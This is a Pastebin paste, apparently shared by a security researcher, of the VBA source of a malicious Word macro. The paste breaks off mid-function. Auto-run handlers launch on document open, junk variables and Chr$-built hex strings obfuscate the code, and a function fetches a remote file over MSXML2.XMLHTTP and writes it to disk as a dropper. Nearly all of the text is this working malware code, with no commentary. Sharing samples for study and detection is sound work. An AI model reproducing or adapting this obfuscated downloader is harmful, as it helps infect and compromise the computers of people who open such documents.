SHARE
TWEET

Malicious Word macro

dynamoo Nov 17th, 2014 254 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub AUTO_OPEN()
  10. Dim YLXDMOXL, KVOHXXBE, RRWLVPZF As String
  11. Dim FUYCGSYQ, LZFKZICE, BCXDGZHM As String
  12. FUYCGSYQ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  13. LZFKZICE = LTrim(FUYCGSYQ)
  14. BCXDGZHM = RTrim(LZFKZICE)
  15.  
  16. YLXDMOXL = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  17. Dim JDXATPTY, LVPWFUGN, IFHVLLNO As String
  18. JDXATPTY = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  19. LVPWFUGN = LTrim(JDXATPTY)
  20. IFHVLLNO = RTrim(LVPWFUGN)
  21.  
  22. KVOHXXBE = LTrim(YLXDMOXL)
  23. Dim YLMWCWWI, KBYVBOBL, ETLAACZR As String
  24. YLMWCWWI = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  25. KBYVBOBL = LTrim(YLMWCWWI)
  26. ETLAACZR = RTrim(KBYVBOBL)
  27.  
  28. RRWLVPZF = RTrim(KVOHXXBE)
  29.  
  30. Dim AHRJATUS, CJFEWORD, KJVGHFAF As String
  31. AHRJATUS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  32. CJFEWORD = LTrim(AHRJATUS)
  33. KJVGHFAF = RTrim(CJFEWORD)
  34.  
  35. ZFCAHVQGVAT
  36. End Sub
  37. Sub AUTOOPEN()
  38. Dim NCHZDGGC, WVBFULSV, JBOBZVPB As String
  39. Dim HMSVOHXW, WGMLWPDF, AQAFIYRT As String
  40. HMSVOHXW = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  41. WGMLWPDF = LTrim(HMSVOHXW)
  42. AQAFIYRT = RTrim(WGMLWPDF)
  43.  
  44. NCHZDGGC = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  45. Dim YBLYHNQT, WGBOWDCD, CNFEROTI As String
  46. YBLYHNQT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(52) & Chr$(53) & Chr$(54) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  47. WGBOWDCD = LTrim(YBLYHNQT)
  48. CNFEROTI = RTrim(WGBOWDCD)
  49.  
  50. WVBFULSV = LTrim(NCHZDGGC)
  51. Dim PMZQICDL, IYYCYBKK, MSKNODXE As String
  52. PMZQICDL = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  53. IYYCYBKK = LTrim(PMZQICDL)
  54. MSKNODXE = RTrim(IYYCYBKK)
  55.  
  56. JBOBZVPB = RTrim(WVBFULSV)
  57.  
  58. Dim XWJJSDFN, JWAEYJQZ, DXQGAWOE As String
  59. XWJJSDFN = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  60. JWAEYJQZ = LTrim(XWJJSDFN)
  61. DXQGAWOE = RTrim(JWAEYJQZ)
  62.  
  63.     AUTO_OPEN
  64. End Sub
  65. Sub WORKBOOK_OPEN()
  66. Dim TFBNAQRS, POIWGYWE, GTGHZADW As String
  67. Dim NHIQDZPY, TQJYNXZV, PYVADKLH As String
  68. NHIQDZPY = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(67) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  69. TQJYNXZV = LTrim(NHIQDZPY)
  70. PYVADKLH = RTrim(TQJYNXZV)
  71.  
  72. TFBNAQRS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  73. Dim YBLPZXTB, IQURQLGL, CADUJYNA As String
  74. YBLPZXTB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  75. IQURQLGL = LTrim(YBLPZXTB)
  76. CADUJYNA = RTrim(IQURQLGL)
  77.  
  78. POIWGYWE = LTrim(TFBNAQRS)
  79. Dim NARYZEDC, DUHORHHI, QJLWZKWY As String
  80. NARYZEDC = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(56) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(53) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  81. DUHORHHI = LTrim(NARYZEDC)
  82. QJLWZKWY = RTrim(DUHORHHI)
  83.  
  84. GTGHZADW = RTrim(POIWGYWE)
  85.  
  86. Dim DWLYZJAR, OWEKWXVT, RXFRHNXU As String
  87. DWLYZJAR = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  88. OWEKWXVT = LTrim(DWLYZJAR)
  89. RXFRHNXU = RTrim(OWEKWXVT)
  90.  
  91.     AUTO_OPEN
  92. End Sub
  93.  
  94. Function QYLWAYQRCZW(ByVal CMMSZREMUET As String, ByVal OSLEMFLVBSW As String) As Boolean
  95.      Dim DODOKURQEXU As Object, HFNZGSPUYMR As Long, XKSLVMLFHXE As Long, FIXOKGJVEZV() As Byte
  96.  
  97. Dim IKNQAPOP, PZGTPILR, BLMPHLRS As String
  98. Dim RLUMZSCW, OFFGGYFD, FOXPZZYT As String
  99. RLUMZSCW = "           PGGZWV               "
  100. OFFGGYFD = LTrim(RLUMZSCW)
  101. FOXPZZYT = RTrim(OFFGGYFD)
  102.  
  103. IKNQAPOP = "           AZJGNW               "
  104. Dim NILPVHVV, GVVFRAPY, KODUFBLN As String
  105. NILPVHVV = "           EDOLXT               "
  106. GVVFRAPY = LTrim(NILPVHVV)
  107. KODUFBLN = RTrim(GVVFRAPY)
  108.  
  109. PZGTPILR = LTrim(IKNQAPOP)
  110. Dim QGYBNVIG, XMKZASQN, ONRTRBGQ As String
  111. QGYBNVIG = "           QEWJEM               "
  112. XMKZASQN = LTrim(QGYBNVIG)
  113. ONRTRBGQ = RTrim(XMKZASQN)
  114.  
  115. BLMPHLRS = RTrim(PZGTPILR)
  116.  
  117. Dim DCYPBVUO, IVHXLERP, RBNIFIZQ As String
  118. DCYPBVUO = "           DNKCJL               "
  119. IVHXLERP = LTrim(DCYPBVUO)
  120. RBNIFIZQ = RTrim(IVHXLERP)
  121.  
  122.     Set DODOKURQEXU = CreateObject("MSXML2.XMLHTTP")
  123.     DODOKURQEXU.Open "GET", CMMSZREMUET, False
  124. Dim GJZJVEBN, DZYRXTTB, BIKUCKIO As String
  125. Dim AGTPAUGO, TQDTFAUA, VNEHTIXR As String
  126. AGTPAUGO = "           GVYLXG               "
  127. TQDTFAUA = LTrim(AGTPAUGO)
  128. VNEHTIXR = RTrim(TQDTFAUA)
  129.  
  130. GJZJVEBN = "           LUZKDE               "
  131. Dim LRYLSHDH, ULSXKABV, OTNHAVIL As String
  132. LRYLSHDH = "           SVECHK               "
  133. ULSXKABV = LTrim(LRYLSHDH)
  134. OTNHAVIL = RTrim(ULSXKABV)
  135.  
  136. DZYRXTTB = LTrim(GJZJVEBN)
  137. Dim SGBURCNH, PBEMZBTG, WTGCRDON As String
  138. SGBURCNH = "           RYANHA               "
  139. PBEMZBTG = LTrim(SGBURCNH)
  140. WTGCRDON = RTrim(PBEMZBTG)
  141.  
  142. BIKUCKIO = RTrim(DZYRXTTB)
  143.  
  144. Dim XLCRHUHQ, LMUHPQFS, FMJZTHQD As String
  145. XLCRHUHQ = "           KQNMBP               "
  146. LMUHPQFS = LTrim(XLCRHUHQ)
  147. FMJZTHQD = RTrim(LMUHPQFS)
  148.  
  149.     DODOKURQEXU.SEND "pHOblk"
  150.  
  151.  
  152. Dim AGAOXNZR, CHQMJRNT, KJWUQOXY As String
  153. Dim CPGXWPLF, ZTCJORPY, UARSWBZC As String
  154. CPGXWPLF = "           DXVVLH               "
  155. ZTCJORPY = LTrim(CPGXWPLF)
  156. UARSWBZC = RTrim(ZTCJORPY)
  157.  
  158. AGAOXNZR = "           NVQAAN               "
  159. Dim KOPEJCZO, MLBCNMSZ, OPRNTYCQ As String
  160. KOPEJCZO = "           YVXCUZ               "
  161. MLBCNMSZ = LTrim(KOPEJCZO)
  162. OPRNTYCQ = RTrim(MLBCNMSZ)
  163.  
  164. CHQMJRNT = LTrim(AGAOXNZR)
  165. Dim SFTSRTEO, CLJHULYL, WRMZTWSL As String
  166. SFTSRTEO = "           RKHGER               "
  167. CLJHULYL = LTrim(SFTSRTEO)
  168. WRMZTWSL = RTrim(CLJHULYL)
  169.  
  170. KJWUQOXY = RTrim(CHQMJRNT)
  171.  
  172. Dim GFXYTXLQ, QFYKBNJS, YGHRMTGD As String
  173. GFXYTXLQ = "           FWDWMK               "
  174. QFYKBNJS = LTrim(GFXYTXLQ)
  175. YGHRMTGD = RTrim(QFYKBNJS)
  176.  
  177.     FIXOKGJVEZV = DODOKURQEXU.RESPONSEBODY
  178.  
  179. Dim PIDZIJXY, HEMXMSFV, MBZJUUYH As String
  180. Dim WMLYBLZE, NHAZSFMM, TQIXNOQS As String
  181. WMLYBLZE = "           KEWOLG               "
  182. NHAZSFMM = LTrim(WMLYBLZE)
  183. TQIXNOQS = RTrim(NHAZSFMM)
  184.  
  185. PIDZIJXY = "           NPKLPA               "
  186. Dim DPKWKTHH, HWYHAZVP, RSSLUFPK As String
  187. DPKWKTHH = "           HVDUWY               "
  188. HWYHAZVP = LTrim(DPKWKTHH)
  189. RSSLUFPK = RTrim(HWYHAZVP)
  190.  
  191. HEMXMSFV = LTrim(PIDZIJXY)
  192. Dim YMQPPDZH, KNCDDATA, RUPHFHIQ As String
  193. YMQPPDZH = "           AXUAYX               "
  194. KNCDDATA = LTrim(YMQPPDZH)
  195. RUPHFHIQ = RTrim(KNCDDATA)
  196.  
  197. MBZJUUYH = RTrim(HEMXMSFV)
  198.  
  199. Dim ERNJLQWV, BTPZSGKN, MYLFUMGA As String
  200. ERNJLQWV = "           IHZDAS               "
  201. BTPZSGKN = LTrim(ERNJLQWV)
  202. MYLFUMGA = RTrim(BTPZSGKN)
  203.  
  204.     XKSLVMLFHXE = FreeFile
  205.     Open OSLEMFLVBSW For Binary As #XKSLVMLFHXE
  206. Dim IGPBFMOH, QNBLVKLQ, BHRXEERL As String
  207. Dim KGEJRIYB, PYLZMGWE, HAZCIPDW As String
  208. KGEJRIYB = "           PQTXCG               "
  209. PYLZMGWE = LTrim(KGEJRIYB)
  210. HAZCIPDW = RTrim(PYLZMGWE)
  211.  
  212. IGPBFMOH = "           FFXWYF               "
  213. Dim UMQVQLWO, PTBKMJTE, VWTXBZJS As String
  214. UMQVQLWO = "           DECWKD               "
  215. PTBKMJTE = LTrim(UMQVQLWO)
  216. VWTXBZJS = RTrim(PTBKMJTE)
  217.  
  218. QNBLVKLQ = LTrim(IGPBFMOH)
  219. Dim IOPGGMUZ, LGXKHIQD, YWIWKWFC As String
  220. IOPGGMUZ = "           OFCSPK               "
  221. LGXKHIQD = LTrim(IOPGGMUZ)
  222. YWIWKWFC = RTrim(LGXKHIQD)
  223.  
  224. BHRXEERL = RTrim(QNBLVKLQ)
  225.  
  226. Dim FCRVYPBR, OCFPAFXT, RVBWWLMY As String
  227. FCRVYPBR = "           DNJRIS               "
  228. OCFPAFXT = LTrim(FCRVYPBR)
  229. RVBWWLMY = RTrim(OCFPAFXT)
  230.  
  231.     Put #XKSLVMLFHXE, , FIXOKGJVEZV
  232. Dim ZHWMGAHF, FXIVHGMV, SYPPFJBC As String
  233. Dim ILJFYMKR, FFVOLHOX, URGMPXVB As String
  234. ILJFYMKR = "           YNVMVO               "
  235. FFVOLHOX = LTrim(ILJFYMKR)
  236. URGMPXVB = RTrim(FFVOLHOX)
  237.  
  238. ZHWMGAHF = "           SYVUWG               "
  239. Dim BJBHOTLD, FUTLGJTW, HKMFVFGH As String
  240. BJBHOTLD = "           GRDOGN               "
  241. FUTLGJTW = LTrim(BJBHOTLD)
  242. HKMFVFGH = RTrim(FUTLGJTW)
  243.  
  244. FXIVHGMV = LTrim(ZHWMGAHF)
  245. Dim HSNVMGSJ, FCRQKJKG, NEHFLTWN As String
  246. HSNVMGSJ = "           LJAWQC               "
  247. FCRQKJKG = LTrim(HSNVMGSJ)
  248. NEHFLTWN = RTrim(FCRQKJKG)
  249.  
  250. SYPPFJBC = RTrim(FXIVHGMV)
  251.  
  252. Dim STCCLGPZ, ITUOFLUE, GQITRSUL As String
  253. STCCLGPZ = "           TYOIDI               "
  254. ITUOFLUE = LTrim(STCCLGPZ)
  255. GQITRSUL = RTrim(ITUOFLUE)
  256.  
  257.     Close #XKSLVMLFHXE
  258. Dim HELJAYVX, SEZEWQWC, URSGHGLV As String
  259. Dim OLFNDZRS, DFWMNVWE, LPEGDLSW As String
  260. OLFNDZRS = "           SELKNU               "
  261. DFWMNVWE = LTrim(OLFNDZRS)
  262. LPEGDLSW = RTrim(DFWMNVWE)
  263.  
  264. HELJAYVX = "           ZZQNKC               "
  265. Dim SHHTIAXP, GZRBKVTE, EKOECPJS As String
  266. SHHTIAXP = "           HGSQHR               "
  267. GZRBKVTE = LTrim(SHHTIAXP)
  268. EKOECPJS = RTrim(GZRBKVTE)
  269.  
  270. SEZEWQWC = LTrim(HELJAYVX)
  271. Dim LJLUMFJU, KZXLKHXT, EIIXMRNH As String
  272. LJLUMFJU = "           IMCDQO               "
  273. KZXLKHXT = LTrim(LJLUMFJU)
  274. EIIXMRNH = RTrim(KZXLKHXT)
  275.  
  276. URSGHGLV = RTrim(SEZEWQWC)
  277.  
  278. Dim JRGREVMD, STBHVZKG, ITOALUGH As String
  279. JRGREVMD = "           GHPUUL               "
  280. STBHVZKG = LTrim(JRGREVMD)
  281. ITOALUGH = RTrim(STBHVZKG)
  282.  
  283.      
  284.     Dim TKFRNZTFHUK
  285. Dim FQGMSOEQ, LYXGBRWZ, SXDNHQPT As String
  286. Dim TOLEVTSP, VNOFHSZD, RWJOZILT As String
  287. TOLEVTSP = "           RISGIA               "
  288. VNOFHSZD = LTrim(TOLEVTSP)
  289. RWJOZILT = RTrim(VNOFHSZD)
  290.  
  291. FQGMSOEQ = "           XXCCAE               "
  292. Dim PEQWYEDT, SFBGGBXB, ARTLWSIU As String
  293. PEQWYEDT = "           ZIPLZR               "
  294. SFBGGBXB = LTrim(PEQWYEDT)
  295. ARTLWSIU = RTrim(SFBGGBXB)
  296.  
  297. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  298. LYXGBRWZ = LTrim(FQGMSOEQ)
  299. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  300. Dim BIMWGXDB, SFUVJPJP, PVPPGSXP As String
  301. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
